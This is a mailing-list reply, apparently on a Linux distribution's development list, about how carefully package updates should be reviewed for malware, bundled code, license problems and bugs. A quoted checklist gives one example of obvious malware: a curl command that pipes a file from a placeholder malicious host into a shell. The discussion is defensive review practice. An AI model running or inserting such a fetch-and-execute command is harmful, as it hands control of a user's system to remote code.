Re: Reviewing the diff when updating a package?

[Ludovic Courtès]

Hi,

Maxime Devos <maximedevos@telenet.be> skribis:

> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
> is an important property of a distribution.

Agreed.

> I look for the following things:
>
>   1. additional bundled software
>   2. code with a different license than mentioned in the 'license'
>      field (especially if it's propietary)
>   3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
>   4. blobs (possibly hiding malware)
>   5. things that look like bugs (e.g. not checking the return value of
>      'malloc' for NULL, not escaping things written to HTML documents
>       ...)
>
> I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis

I usually check #1, #2, and #4 for new packages; for an update, I pay
much less attention to those.

The other checks you describe are laudable, and it’s great if someone
can do that.  But I think we should not hold every review to this high
standard, nor suggest that we’re uniformly following that standard—it’s
just not feasible.

We need to find a balance between “thoroughly-reviewed” and “lively”,
which are usually antithetical.  I’d rather have more reviewers doing a
couple of the items above than no reviewers at all (and lately we’ve
been desperately short on reviewers!).

Thanks,
Ludo’.